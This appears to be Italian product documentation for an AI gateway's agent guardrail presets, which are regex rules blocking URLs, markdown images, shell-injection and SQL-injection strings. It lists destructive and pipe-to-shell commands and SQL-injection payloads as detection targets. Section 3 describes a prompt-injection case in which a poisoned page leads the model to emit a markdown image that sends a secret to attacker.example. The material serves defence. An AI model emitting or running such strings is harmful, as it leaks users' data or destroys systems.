Vai al contenuto principale
Quando un modello guida i tool, le stringhe pericolose si nascondono in bella vista nel contenuto: un URL che l’agent sta per recuperare, un’immagine markdown che il client caricherà automaticamente, un rm -rf / che il modello fa eco in un tool di shell, un UNION SELECT che emette per un runner SQL da eseguire. Una content policy che pensa solo a PII o segreti manca tutti e quattro. La categoria di preset Agent esiste esattamente per questa forma — regole regex deterministiche che bloccano la richiesta o la risposta prima che un tool a valle vi agisca mai. Questa è una landing focalizzata sul caso d’uso agentico. Per il motore di guardrail completo — ogni tipo di regola, campo, stage e rotta — vedi il riferimento Guardrails.

​
1. Perché i guardrails per agent sono una superficie distinta

Un guardrail filtra il contenuto — il testo nella richiesta e il testo nella risposta. Per un agent, quel testo diventa un’azione: l’URL viene recuperato, il markdown viene renderizzato, la riga di shell viene eseguita, l’SQL viene eseguito. Quindi lo stesso motore block / mask che usi per la PII fa doppio servizio qui — ferma un payload al gateway prima che il layer di tool dell’agent possa trasformarlo in un effetto collaterale. La categoria Agent porta quattro preset, ciascuno una regola regex con azione block, suddivisi tra i due stage:
Blocca qualsiasi URL http(s) sulla richiesta. Usalo per flussi di agent dove gli URL in uscita devono essere in allowlist anziché aperti. Il pattern seminato corrisponde a qualsiasi URL; modifica la regex per permettere domini specifici.
Blocca gli embed di immagini markdown (![alt](url)) nella risposta del modello. Difende dall’esfiltrazione tramite rendering di immagini sui client che auto-caricano immagini remote — un classico canale di fuga di dati dove un URL di immagine renderizzato fa uscire di nascosto i dati.
Blocca pattern ovvi di shell-injection nella richiesta (rm -rf /, curl … | sh, wget … | bash, escalation sudo). Usalo per flussi di agent che possono inoltrare l’input dell’utente in un tool di shell.
Blocca le risposte del modello che portano payload classici di SQL-injection (UNION SELECT, OR 1=1, DROP TABLE, terminatori di commento). Difesa in profondità per i tool che auto-eseguono l’SQL prodotto dal modello.
Due preset filtrano l’input, due filtrano l’output. URL Filter e Tool Call Shell Block scattano sulla richiesta — prima che il modello giri, prima che qualsiasi quota venga misurata. Markdown Image Block e SQL Injection in Output scattano sulla risposta — dopo che il modello risponde, prima che il contenuto raggiunga il tuo client o il suo layer di tool. Sapere su quale stage vive un rischio è tutto il gioco; vedi Stage di input e Stage di output.

​
2. Applica un guardrail per agent nella console

Ogni passaggio qui è un’azione di console sul gateway gestito sotto la tua sessione. Creare e modificare guardrails richiede Developer+ nel workspace. Solo la chiamata /v1/* finale usa una chiave di relay sk-orca-... — il guardrail stesso è configurato interamente nella console.
1

Apri il template

Nella console, apri Guardrails, fai clic sullo split-button New guardrail e scegli un preset dalla categoria di template Agent — es. Markdown Image Block. Semina la singola regola di block regex nello stage giusto.
2

Nomina e salva

Dagli un nome (≤ 64 caratteri), es. agent-rails, e salva. Un preset è un seme, non un lucchetto — aggiungi le altre tre regole Agent o modifica la regex liberamente dopo (vedi §4).
3

Testalo nella sandbox

Apri la tab Test all’interno dell’editor, incolla un campione, scegli lo stage corrispondente ed esegui la policy corrente localmente — nessuna chiamata upstream, nessuna quota (vedi §3).
4

Collega una chiave

Modifica una chiave API e scegli agent-rails dal menu a tendina Guardrail (imposta guardrail_id sulla chiave), o marcalo come default del workspace. Vedi Collega a una chiave e Default di account.

​
3. Dimostralo prima di collegare

Dimostra che la regola scatta prima che qualsiasi chiave vi punti. Apri la tab Test, scegli lo stage output e incolla una risposta che una pagina avvelenata da un attaccante potrebbe aver indotto il modello a emettere: 
Here is the result: ![status](https://attacker.example/track?d=secret)
La sandbox valuta la policy corrente localmente — nulla viene inviato upstream, nulla viene misurato — e restituisce il verdetto block che nomina la regola che ha scattato. Per una griglia A/B contro un corpus di campioni avversariali e benigni, l’harness di eval vive una tab più in là.

​
4. Componi e metti a punto le regole

I quattro preset sono semi. La mossa comune è combinarli in un unico guardrail agent-rails e irrigidire ogni regex sul tuo stack:

Allowlist degli URL

Parti da URL Filter, poi modifica la regex così che blocchi ogni URL eccetto i tuoi domini sanzionati — inverti il match in una allowlist anziché un block generico.

Scrivi i tuoi detector

Aggiungi una regola regex per qualsiasi forma di payload che ai tuoi tool interessa — pattern RE2, tempo lineare, nessuna backreference. I pattern compilano una volta e sono in cache tra le richieste.
Mescola le regole Agent con il resto del motore in un guardrail. Abbinale a una regola mask di PII Shield o a un block di input di Secrets Blocker — una policy può portare ogni tipo di regola e il motore le ripiega in un unico verdetto. Vedi Azioni per block vs. mask vs. flag.

​
5. Com’è fatto un block

Ogni preset Agent usa l’azione block. Una richiesta bloccata restituisce HTTP 400 con codice di errore guardrail_blocked e un messaggio che nomina il guardrail e la regola che ha scattato: 
{
  "error": {
    "code": "guardrail_blocked",
    "message": "request blocked by guardrail \"agent-rails\""
  }
}
Una richiesta bloccata non costa quota — un block nello stage di input (URL Filter, Tool Call Shell Block) scatta prima della misurazione; un block nello stage di output (Markdown Image Block, SQL Injection in Output) rimborsa la quota pre-consumata dopo che la risposta è rifiutata — ed è marcata skip-retry, dato che rieseguire lo stesso prompt si limiterebbe a bloccarlo di nuovo. Vedi l’ errore guardrail_blocked.
Il block di output è applicato anche sullo streaming. Per i due preset Agent dello stage di output, block vale in entrambi i casi: su una risposta non in streaming la risposta viene filtrata prima che torni, e su una risposta in streaming uno scanner interrompe lo stream a metà prima che qualsiasi contenuto bloccato raggiunga il client. Vedi Streaming coverage.

​
6. I guardrails sono contenuto; il firewall è chiamate a tool

I guardrails per agent sono un forte primo layer, ma ragionano sulle stringhe, non sulla semantica dei tool. Bloccano una riga di shell nel contenuto — non comprendono che il modello ha emesso un tool_call strutturato verso un tool distruttivo, o che una richiesta in uscita è diretta verso un IP di metadata. Quel layer di chiamata a tool è il Firewall: valuta i tool_calls emessi dal modello, i tools/call MCP e l’egress in uscita con verdetti come allow / audit / deny / pending_approval. I due si compongono — i guardrails filtrano il testo, il firewall governa l’azione.

Firewall

Governa le chiamate a tool emesse dal modello, le chiamate MCP e l’egress con verdetti allow / audit / deny / approvazione.

Guardrails vs. Firewall

Quando ricorrere a un guardrail di contenuto vs. un firewall di chiamata a tool — e come eseguire entrambi.

Proteggere gli agent AI

Il control stack completo dell’agent: contenuto, tool, MCP ed egress.

Agenzia eccessiva

La minaccia che questi rail affrontano — un agent che fa più di quanto dovrebbe.

​
7. Vedi cosa è scattato

Ogni regola che scatta registra un match — tipo di regola, azione, stage e una stringa di detail — fatto emergere nel feed Matches del workspace. La sottostringa corrispondente stessa viene registrata solo quando Log raw content è attivo, che è disattivato per default. Raggruppa e filtra il feed per guardrail, tipo di regola e azione per osservare il tasso di hit delle tue regole per agent e mettere a punto i falsi positivi. Vedi Feed dei match, Logging e privacy e Tuning dei falsi positivi.

​
8. Dove andare dopo

Regole dello stage di output

Come funziona il filtro della risposta per Markdown Image Block e SQL Injection in Output.

Regex detector

Scrivi i tuoi pattern RE2 per estendere le regole Agent.

Esfiltrazione di dati

Il canale di esfiltrazione che Markdown Image Block chiude.

Chiamate a tool pericolose

Perché un rail di contenuto da solo non basta — abbinalo al firewall.
I guardrails per agent tengono le stringhe pericolose fuori dal contenuto che un agent invia e riceve. Per governare le azioni che un agent intraprende — le chiamate a tool, le chiamate MCP e l’egress stessi — sali al Firewall e leggi il baseline proteggere gli agent AI. Per il motore di guardrail completo, vedi il riferimento Guardrails.